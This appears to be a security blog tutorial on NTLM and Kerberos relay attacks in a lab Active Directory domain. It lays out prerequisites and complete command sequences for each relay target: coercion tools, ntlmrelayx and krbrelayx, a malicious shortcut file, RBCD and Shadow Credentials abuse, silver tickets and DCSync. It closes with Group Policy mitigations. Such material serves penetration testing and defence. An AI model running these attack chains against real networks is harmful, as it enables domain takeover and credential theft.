The Basics of NTLM/Kerberos Relays
I just want to clarify conditions and steps to exploit relay attacks. Each technique has already been described in other amazing articles. The basics of relay attacks are described in “NTLM Relay” by Pixis. If you are not familiar with relay attacks, I recommend reading this article.
Table of Contents
- Lab
- NTLM Relay to SMB
- NTLM Relay to LDAP/LDAPS
- NTLM Relay to HTTP/HTTPS
- NTLM Relay to WinRM/WinRMS
- NTLM Relay to MSSQL
- Kerberos Relay over DNS
- Kerberos Relay over SMB (Patched)
- Kerberos Relay over HTTP
- Kerberos Relay to SMB and LDAP/LDAPS
- Mitigations
- Conclusion
Lab
This is the overview of the lab. I will demonstrate NTLM/Kerberos relay attacks from DC1/WKS to DC2/CA. In this blog, DC1 and DC2 are sometimes used as synonyms for the relay source and the relay target respectively.
There are 2 accounts in this lab:
- coward — a standard user
- Administrator — a domain admin
The goal is to escalate from coward to Administrator.
NTLM Relay to SMB
Prerequisites
SMB signing must not be required to perform the relay attack. Historically, only domain controllers required SMB signing by default. However, since Windows Server 2025 and Windows 11 24H2, SMB signing has been required by default for all SMB connections.
1
netexec smb dc2.kawakatz.local
Examples
NTLM relay to SMB is pretty simple, but examples which can be actively exploited are somewhat limited. This is because only machine accounts can be coerced to initiate NTLM authentication without user interaction. However, exploiting machine account privileges on SMB is challenging. Even domain controllers lack special privileges over each other, and it is rare for a machine account to have administrator/exploitable rights on another server.
The Misconfiguration Manager project introduces some examples. For example, a site server’s machine account may have administrator privileges on other related servers, and under such conditions, NTLM relay to SMB can be actively exploited.
In this section, I’ll use a link file to coerce user authentication. The process is straightforward: place a malicious link file in a shared folder, as described in The Hacker Recipes. Once placed, any user who opens the folder will automatically authenticate to us. In this example, Administrator opens the folder and we relay the authentication with Impacket’s ntlmrelayx.py.
1
2
3
4
5
6
7
8
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Windows\temp\@Salaries-2023.lnk")
$lnk.TargetPath = "\\<attacker ip>\@icon.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Salaries-2023."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
1
sudo python3 ntlmrelayx.py -smb2support -t smb://dc2.kawakatz.local -c whoami
NTLM Relay to LDAP/LDAPS
Prerequisites
LDAP signing or LDAP channel binding must not be required to perform the relay attack. Historically this was the default. However, since Windows Server 2025, LDAP signing is required by default and channel binding is enabled in “When supported” mode. We can check these settings with LdapRelayScan. This patch may be required to support LDAPS. Additionally, some other complicated conditions must also be met as described below.
1
python3 LdapRelayScan.py -method BOTH -dc-ip <dc ip> -u coward -p 'P@ssw0rd'
Examples
NTLM relay to LDAP is somewhat tricky. The details are described again in “NTLM Relay” by Pixis. During NTLM authentication, clients and servers indicate whether they support signing using the NEGOTIATE_SIGN flag. LDAP decides whether it uses LDAP signing based on the flag. LDAP servers always support LDAP signing (NEGOTIATE_SIGN = 1), so clients must set the flag to 0 to avoid LDAP signing. However, Windows’ SMB clients set the flag to 1. We cannot overwrite the flag without breaking MIC (Message Integrity Code). We cannot simply drop the MIC because the msAvFlags indicates the presence of the MIC. We cannot overwrite the msAvFlags because the modification invalidates the NetNTLMv2 hash we want to relay. Of course, we cannot recalculate the NTLMv2 hash because we don’t know the user’s secret.
So, to perform NTLM relay over SMB to LDAP/LDAPS, more conditions must be met. We can drop the MIC when:
- DC2 allows the Drop the MIC attack (e.g., CVE-2019-1040)
- DC1 allows NTLMv1 authentication (LmCompatibilityLevel* <= 2)
* LmCompatibilityLevel
Key: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
Name: LMCompatibilityLevel
Type: REG_DWORD
In these cases, we can use ntlmrelayx.py with –remove-mic.
CVE-2019-1040 scanner or similar tools can be used to check for Drop the MIC vulnerabilities.
To verify LmCompatibilityLevel <= 2, we need to receive NTLM authentication from DC1. “Practical Attacks against NTLMv1” by TrustedSec shows that LmCompatibilityLevel <= 2 is risky regardless of LDAP. Even if LmCompatibilityLevel == 5 on DC2 (which means incoming NTLMv1 authentication is not allowed), that doesn’t prevent the attack.
1
2
3
# NTLMv1 hash will be captured if LmCompatibilityLevel <= 2
sudo python3 Responder.py -I ens33
python3 PetitPotam.py -d kawakatz.local -u coward -p 'P@ssw0rd' <attacker ip> dc1.kawakatz.local
The primary communication channels between DC1 and us are SMB (as already mentioned) and HTTP. To coerce NTLM authentication over HTTP, the WebClient service must be enabled on DC1. You can verify whether it’s enabled by enumerating named pipes on DC1 as posted by @tifkin_. This check is also implemented as a NetExec module. NTLM authentication over HTTP is attractive for relay because the protocol itself has no message-signing capability, unlike SMB/LDAP. In practice, this results in NEGOTIATE_SIGN = 0 and makes the relay work regardless of the conditions mentioned above.
1
netexec smb dc1.kawakatz.local -u coward -p 'P@ssw0rd' -M webdav
It’s quite rare to see the WebClient service enabled. For that reason, we often choose NTLM relay over SMB. When we use a compromised Windows device to relay, we need to listen on 445/tcp to receive SMB traffic. Since Windows itself already binds that port, we must first free or hijack it. If we have local administrator privileges on the device, a technique introduced in “Relay Your Heart Away: An OPSEC-Conscious Approach to 445 Takeover” by SpecterOps can be useful. Alternatively, when we lack local administrator privileges, we can connect our device directly to the target network via VPN.
To coerce NTLM authentication over SMB or HTTP, we can use tools such as PetitPotam and Coercer. I won’t cover their internals — we only need SMB access to DC1.
We can exploit NTLM relay to LDAP/LDAPS using the RBCD technique as follows. Remember that LmCompatibilityLevel <= 2 must be met for relay over SMB. If relaying over HTTP, we can remove –remove-mic. For more details on RBCD, see “(RBCD) Resource-based constrained” from The Hacker Recipes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Add a machine account to abuse
# Prereq: MachineAccountQuota >= 1 (default 10)
# Check: netexec ldap dc1.kawakatz.local -u coward -p 'P@ssw0rd' -M maq
python3 addcomputer.py -computer-name 'KAWAPC$' -computer-pass 'P@ssw0rd' kawakatz.local/coward:'P@ssw0rd' -dc-ip <dc ip>
# NTLM relay to LDAP for RBCD
sudo python3 ntlmrelayx.py -smb2support -t ldap://dc2.kawakatz.local --remove-mic --delegate-access --escalate-user 'KAWAPC$' --no-dump --no-da --no-acl --no-validate-privs
python3 PetitPotam.py -d kawakatz.local -u coward -p 'P@ssw0rd' <attacker ip> dc1.kawakatz.local
sudo python3 rbcd.py -delegate-to 'DC1$' -action read kawakatz.local/coward:'P@ssw0rd' -dc-ip <dc ip>
# Impersonate Administrator
sudo python3 getST.py -spn cifs/dc1.kawakatz.local kawakatz.local/'KAWAPC$':'P@ssw0rd' -impersonate Administrator -dc-ip <dc ip>
export KRB5CCNAME=Administrator@cifs_dc1.kawakatz.local@KAWAKATZ.LOCAL.ccache
sudo python3 smbclient.py -k -no-pass kawakatz.local/Administrator@dc1.kawakatz.local
When we cannot add a computer account, we can instead exploit NTLM relay to LDAP/LDAPS using the Shadow Credentials technique, as follows. For more details on Shadow Credentials and the technique to generate silver tickets, see “Shadow Credentials”, “UnPAC the hash”, and “Silver tickets” from The Hacker Recipes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# NTLM relay to LDAP for Shadow Credentials
sudo python3 ntlmrelayx.py -smb2support -t ldap://dc2.kawakatz.local --remove-mic --shadow-credentials --shadow-target 'DC1$' --no-dump --no-da --no-acl --no-validate-privs
python3 PetitPotam.py -d kawakatz.local -u coward -p 'P@ssw0rd' <attacker ip> dc1.kawakatz.local
# Issue a TGT with the certificate for Shadow Credentials
# https://github.com/dirkjanm/PKINITtools
python3 gettgtpkinit.py -cert-pfx <cert.pfx> -pfx-pass <pfx pass> kawakatz.local/'DC1$' /tmp/DC1.ccache -dc-ip <dc ip>
# Abuse UnPAC the Hash and generate a silver ticket to impersonate Administrator
export KRB5CCNAME=/tmp/DC1.ccache
python3 getnthash.py -key <key from gettgtpkinit.py> -dc-ip <dc ip> kawakatz.local/'DC1$'
sudo python3 ticketer.py -domain-sid <domain sid> -domain kawakatz.local -spn cifs/dc1.kawakatz.local -nthash <dc1 hash> -user-id 500 Administrator
export KRB5CCNAME=Administrator.ccache
sudo python3 smbclient.py -k -no-pass kawakatz.local/Administrator@dc1.kawakatz.local
# Perform DCSync as another example
export KRB5CCNAME=/tmp/DC1.ccache
sudo python3 secretsdump.py -k -no-pass kawakatz.local/'DC1$'@dc2.kawakatz.local -just-dc-user Administrator
netexec smb <dc ip> -u Administrator -H <hash>
The image in “NTLM relay” on The Hacker Recipes makes it easy to understand these conditions for NTLM relay to LDAP/LDAPS.
It's important to mention the Intranet Zone. If a URL is handled as an Intranet Zone, WebDAV clients automatically start authentication. The most important rule is described in "The Renaissance of NTLM Relay Attacks: Everything You Need to Know" by SpecterOps.
The PlainHostName Rule (aka “The Dot Rule”): If the URL’s hostname does not contain any dots
To satisfy this rule, we can add a DNS record or perform LLMNR spoofing. We also need to properly specify a listener. By default, Authenticated Users can add DNS records.
1
2
3
4
5
6
7
8
9
# Add a DNS record
python3 dnstool.py -u kawakatz.local\\coward -p 'P@ssw0rd' -a add -r attacker -d <attacker ip> dc2.kawakatz.local -dns-ip <dc ip>
# This won't work
python3 PetitPotam.py -d kawakatz.local -u coward -p 'P@ssw0rd' <attacker ip>@80/share dc1.kawakatz.local
python3 PetitPotam.py -d kawakatz.local -u coward -p 'P@ssw0rd' attacker.kawakatz.local@80/share dc1.kawakatz.local
# This works
python3 PetitPotam.py -d kawakatz.local -u coward -p 'P@ssw0rd' attacker@80/share dc1.kawakatz.local
NTLM relay over HTTP to LDAP is often exploited for local privilege escalation, as demonstrated in NTLMRelay2Self. By default, the WebClient service is not enabled on Windows, but if we register an ETW event trigger, Windows automatically enables the WebClient service. This method does not require local administrator privileges. Then, we can coerce NTLM authentication from the machine account over HTTP and relay it to LDAP. Using the techniques described above (RBCD or Shadow Credentials), we can take over the machine account and gain local administrator privileges.
1
2
3
4
5
6
7
8
9
10
# Build the BOF on Ubuntu
x86_64-w64-mingw32-gcc -c StartWebClientSvc.c -o StartWebClientSvc.x64.o
# Execute the BOF from NTLMRelay2Self
COFFLoader64.exe go StartWebClientSvc.x64.o
# NTLM relay to LDAP for Shadow Credentials
sudo python3 ntlmrelayx.py -smb2support -t ldap://dc2.kawakatz.local --shadow-credentials --shadow-target 'WKS$' --no-dump --no-da --no-acl --no-validate-privs
python3 PetitPotam.py -u coward -p 'P@ssw0rd' -d kawakatz.local <attacker ip>@80/share wks.kawakatz.local
# Abuse the certificate as above...
NTLM Relay to HTTP/HTTPS
Prerequisites
HTTP is generally vulnerable to relay attacks. EPA (Extended Protection for Authentication) must not be required to perform the relay attack. Certipy can be used to check EPA settings. Although Certipy is a toolkit for ADCS, the logic of the check_channel_binding function can also be applied to general HTTPS endpoints.
1
certipy find -u coward -p 'P@ssw0rd' -dc-ip <dc ip>
If the AD CS Web Enrollment role is installed, the default configuration has historically been vulnerable to NTLM relay (ESC8). However, according to "The Ultimate Guide to Windows Coercion Techniques in 2025",
For the longest time, channel binding and EPA were disabled by default and they were rarely enabled manually. However, starting with Windows Server 2022 23H2 LDAP channel binding was activated by default and on Windows Server 2025, EPA was enabled by default and the unencrypted AD CS Web Enrollment API was disabled by default.
Examples
NTLM relay to HTTP/HTTPS is often used to attack:
- ADCS (ESC8, See “Certified Pre-Owned”)
- Configuration Manager (See the Misconfiguration Manager project)
HTTP itself has no message-signing capability, unlike SMB/LDAP, so these services are easy targets. Consider an example of ESC8. We can leverage a template that can be issued by domain controllers and used for client authentication, as follows.
1
2
3
4
5
6
7
8
9
10
11
12
13
# Find abusable templates
certipy find -u coward -p 'P@ssw0rd' -dc-ip <dc ip>
# NTLM relay to HTTP
sudo python3 ntlmrelayx.py -t http://ca.kawakatz.local/certsrv/certfnsh.asp --adcs --template KerberosAuthentication -smb2support
python3 PetitPotam.py -d kawakatz.local -u coward -p 'P@ssw0rd' <attacker ip> dc1.kawakatz.local
# Abuse the issued certificate in the same way as Shadow Credentials
# DCSync as an example.
python3 gettgtpkinit.py -cert-pfx '/tmp/DC1$.pfx' kawakatz.local/'DC1$' /tmp/DC1.ccache -dc-ip <dc ip>
export KRB5CCNAME=/tmp/DC1.ccache
python3 secretsdump.py -k -no-pass kawakatz.local/'DC1$'@dc2.kawakatz.local -just-dc-user Administrator
netexec smb <dc ip> -u Administrator -H <hash>
NTLM Relay to WinRM/WinRMS
Prerequisites
Generally speaking, NTLM relay to WinRM is impossible because the protocol has its own encryption protecting against relay attacks. However, WinRM/S (WinRM over HTTPS) relies on TLS for encryption. This makes it vulnerable to relay attacks if NTLMv1 is allowed (LmCompatibilityLevel <= 2) on DC1. Even when relaying over HTTP, NTLMv1 is still required, unlike LDAP/LDAPS. This is because CbtHardeningLevel for WinRMS is not “None” but “Relaxed”. WinRMS attempts to use CBT if it receives NTLMv2 authentication. “Is TLS more secure, the WinRMS case.” provides a good reference.
Examples
1
2
3
4
# We can use a link file as before to coerce user authentication over SMB
# NTLM relay to WinRMS
sudo python3 ntlmrelayx.py -smb2support -t winrms://dc2.kawakatz.local
nc 127.0.0.1 11000
With Microsoft Edge, NTLM authentication over HTTP is started automatically if a URL is handled as an Intranet Zone. Otherwise, a prompt appears. This behavior is important for coercing user authentication over HTTP. As described above, LmCompatibilityLevel <= 2 must be met. In the images below, LmCompatibilityLevel == 5 and the relay attack failed because CBT was used with NTLMv2.
NTLM relay to WinRMS is technically interesting, but it’s quite rare that WinRMS is enabled. For user authentication over HTTP, there are some interesting articles like “WSUS Is SUS: NTLM Relay Attacks in Plain Sight” and “Taking the relaying capabilities of multicast poisoning to the next level: tricking Windows SMB clients into falling back to WebDav”.
NTLM Relay to MSSQL
Prerequisites
MSSQL adopts TLS, but EPA is disabled by default, making it vulnerable to relay attacks. This relay attack does not require NTLMv1 or HTTP authentication.
Examples
NTLM relay to MSSQL is uncommon, but TAKEOVER-1 in the Misconfiguration Manager project is a good example.
1
2
3
# NTLM relay to MSSQL
sudo python3 ntlmrelayx.py -smb2support -t mssql://dc2.kawakatz.local -i
nc 127.0.0.1 11000
Kerberos Relay
Kerberos relay is similar to NTLM relay, but it has its own challenges. “2. Kerberos relaying : state of the art” in “Abusing multicast poisoning for pre-authenticated Kerberos relay over HTTP with Responder and krbrelayx” describes this perfectly. In short, asking DC1 to send us an AP-REQ that includes a service ticket for DC2/CA is not a simple task. We need some tricks described below to achieve this. James Forshaw published some ideas in “Using Kerberos for Authentication Relay Attacks”, and researchers have since implemented tools based on these techniques to achieve Kerberos relay.
Kerberos Relay over DNS
Kerberos relay over DNS is described in “Relaying Kerberos over DNS using krbrelayx and mitm6”. We can act as a DHCPv6 and DNS server by responding to a DHCP request with a spoofed response. Then, we can deny dynamic DNS updates to coerce Kerberos authentication with an SPN we control and relay the authentication.
Prerequisites
IPv6 must be enabled on WKS, and we must be on the same LAN as WKS to respond to DHCPv6 requests. DNS dynamic updates must be enabled, which is the default.
Examples
If a client sends a DHCPv6 request, we can respond with a spoofed response as a fake DHCPv6 server. The client mistakenly identifies us as a DNS server. When the client tries to update its DNS record dynamically, its machine account authenticates to DNS servers as part of the “Secure dynamic updates” operation.
Under these conditions, we can refuse the update and coerce the client to perform Kerberos authentication. If we impersonate ca.kawakatz.local as an example, the client will request a service ticket for DNS/ca.kawakatz.local and send an AP_REQ to us. We can then simply relay the AP_REQ.
Note that domain controllers cannot be targeted in this attack because they are DNS servers themselves and do not perform dynamic DNS updates.
1
2
3
4
5
6
7
8
9
10
11
# Kerberos relay over DNS to HTTP
python3 krbrelayx.py -smb2support -t http://ca.kawakatz.local/certsrv/certfnsh.asp --adcs --template Machine --victim wks.kawakatz.local -ip <attacker ip>
sudo mitm6 --domain kawakatz.local --host-allowlist wks.kawakatz.local --relay ca.kawakatz.local -v
python3 gettgtpkinit.py -pfx-base64 MII...9PCfs= 'kawakatz.local/WKS$' wks.ccache
# See https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse for details
# We can also use “UnPAC the hash” and “Silver tickets” as above
python3 gets4uticket.py 'kerberos+ccache://kawakatz.local\wks$:wks.ccache@dc1.kawakatz.local' cifs/wks.kawakatz.local@kawakatz.local Administrator@kawakatz.local /tmp/Administrator.ccache
export KRB5CCNAME=/tmp/Administrator.ccache
sudo python3 smbclient.py -k -no-pass kawakatz.local/Administrator@wks.kawakatz.local
Kerberos Relay over SMB (Patched)
Kerberos relay over SMB was introduced in “Relaying Kerberos over SMB using krbrelayx” by Synacktiv. If we coerce Kerberos authentication to a specially crafted hostname, a client sends a valid AP_REQ to us. The AP_REQ can be simply relayed.
Since a patch for CVE-2025-33073 made this technique unusable, there are no known ways to perform Kerberos relay over SMB currently😢.
Prerequisites
We must be able to add a DNS record or perform LLMNR spoofing.
Examples
This is the key trick of this technique as written in "Relaying Kerberos over SMB using krbrelayx".
He also showed that if we register the DNS record fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA, the client would ask a Kerberos ticket for cifs/fileserver but would connect to fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA.
We need to follow these steps:
- Add a crafted DNS record:
<target>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA(or set up for LLMNR spoofing) - Coerce DC1 to authenticate to the crafted hostname
- Relay the AP_REQ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Add a DNS record
python3 dnstool.py -u kawakatz.local\\coward -p 'P@ssw0rd' -r ca1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA -d <attacker ip> -a add <dc ip>
# or perform LLMNR spoofing as before
# pretender: https://github.com/RedTeamPentesting/pretender
sudo ./pretender -i ens33 --no-dhcp-dns --no-timestamps --spoof '*1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA*' -4 <attacker ip>
# Kerberos relay over SMB to HTTP
sudo python3 krbrelayx.py -smb2support -t http://ca.kawakatz.local/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
coercer coerce -u coward -p 'P@ssw0rd' -d kawakatz.local -t dc1.kawakatz.local -l ca1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
# Abuse an issued certificate as before
python3 gettgtpkinit.py -pfx-base64 MII...MN+jt 'kawakatz.local/DC1$' DC1.ccache
python3 gets4uticket.py 'kerberos+ccache://kawakatz.local\dc1$:DC1.ccache@dc1.kawakatz.local' cifs/dc1.kawakatz.local@kawakatz.local Administrator@kawakatz.local /tmp/Administrator.ccache
export KRB5CCNAME=/tmp/Administrator.ccache
python3 smbclient.py -k -no-pass kawakatz.local/Administrator@dc1.kawakatz.local
Reflective NTLM/Kerberos Relay over SMB
It’s worth noting CVE-2025-33073, introduced in “A Look in the Mirror - The Reflective Kerberos Relay Attack”.
So far, some patches have prevented reflective NTLM relay. However, reflective NTLM/Kerberos relay was possible until June 2025, when it was fixed as CVE-2025-33073. The vulnerability is based on the trick of Kerberos relay over SMB. The details are described in “NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073” by Synacktiv. We simply need to coerce authentication to a crafted hostname that confuses SMB clients.
Note that krbrelayx.py needs to be patched as described in the white paper “Reflective Kerberos Relay Attack”.
1
2
3
4
5
6
7
8
# Use LLMNR
sudo ./pretender -i ens33 --no-dhcp-dns --no-timestamps --spoof '*1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA*' -4 <attacker ip>
# or add a DNS record
python3 dnstool.py -u kawakatz.local\\coward -p 'P@ssw0rd' -r dc11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA -d <attacker ip> -a add <dc ip>
# Reflective Kerberos relay over SMB to SMB
sudo python3 krbrelayx.py -t smb://dc1.kawakatz.local -c 'whoami'
coercer coerce -u coward -p 'P@ssw0rd' -d kawakatz.local -t dc1.kawakatz.local -l dc11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
Surprisingly, we can also use ntlmrelayx.py as described in "NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073". The crafted hostname triggers NTLM local authentication and the behavior gives us high privileges because:
The last question is: why are we privileged on the machine? Well, PetitPotam coerces lsass.exe into authenticating to our server and lsass.exe runs as SYSTEM.
To abuse this behavior, @decoder_it introduced a relay technique to LDAP/LDAPS by dropping the MIC for direct privilege escalation to Domain Admin.
Since a patch for CVE-2025-33073 made this technique unusable, as described below by Synacktiv, there are currently no known ways to perform Kerberos relay over SMB😢. The coercion technique no longer works and no SMB traffic occurs.
Therefore, this call was added to prevent any SMB connection if the use of a target name with marshalled target information was detected. Therefore, this patch prevents the exploitation of the vulnerability by removing the ability to coerce machines into authenticating via Kerberos by registering a DNS record with marshalled target information.
Kerberos Relay over HTTP
Kerberos relay over HTTP was introduced in “Abusing multicast poisoning for pre-authenticated Kerberos relay over HTTP with Responder and krbrelayx”. A key trick of this relay is that HTTP clients construct the SPN based on the answer name from LLMNR.
Prerequisites
We must be able to perform LLMNR spoofing.
Examples
When an HTTP client tries to access unresolvable hosts (due to a typo or by abusing the WebClient service), we can perform LLMNR spoofing to respond with a target answer name. The answer name in LLMNR is used to construct the SPN, such as HTTP/ca.kawakatz.local. The client then sends the AP_REQ to us, enabling Kerberos relay.
1
2
3
4
5
6
7
8
9
10
11
# forked Responder: https://github.com/lgandx/Responder
# Disable mDNS and NBT-NS
sudo vim Responder.conf
# Setup Responder
sudo python3 Responder.py -I ens33 -N ca
# Kerberos relay to HTTP
sudo python3 krbrelayx.py -smb2support -t http://ca.kawakatz.local/certsrv/certfnsh.asp --adcs --template Machine
python3 PetitPotam.py -d kawakatz.local -u coward -p 'P@ssw0rd' nonexist@80/test wks.kawakatz.local
# Abuse the certificate as above...
Kerberos Relay to SMB and LDAP/LDAPS
Kerberos relay to SMB also works straightforwardly.
1
2
# Kerberos relay to SMB
sudo python3 krbrelayx.py -smb2support -t smb://dc2.kawakatz.local --enum-local-admins
On the other hand, even using Kerberos authentication over HTTP, we cannot relay it to LDAP/LDAPS regardless of service settings. According to the article by Synacktiv,
When the Negotiate security package (WWW-Authenticate : Negotiate) is used to perform Kerberos authentication, the resulting AP-REQ will by default enable integrity protections.
We can verify the behavior, and we can see that krbrelayx.py cannot continue the LDAP session. This is a common limitation across all Kerberos relaying techniques (over HTTP, DNS, and SMB). Without the session key from the AP-REQ, we cannot sign LDAP messages, so the server rejects the session after initial authentication.
Mitigations
SMB
You need to require SMB signing on all servers and clients.
Path: Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Policy: Microsoft network server: Digitally sign communications (always)
Value: Enabled
LDAP/LDAPS
You need to require LDAP signing and LDAP channel binding.
Path: Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Policy: Domain controller: LDAP server signing requirements
Value: Require signing
Path: Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Policy: Domain controller: LDAP server channel binding token requirements
Value: Always
HTTP/HTTPS
You need to disable HTTP and require EPA on HTTPS.
WinRMS
You need to update CbtHardeningLevel to “Strict”.
MSSQL
You need to required EPA on all servers.
Others
You also need to disable NTLMv1.
Path: Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Policy: Network security: LAN Manager authentication level
Value: Send NTLMv2 response only. Refuse LM & NTLM
Other recommended mitigations:
- Disable LLMNR (and NBT-NS)
- Disable the WebClient service
- Set Machine Account Quota to 0
- Apply security patches regularly
Conclusion
In this blog, I summarized NTLM/Kerberos relay attacks. I hope you find this useful.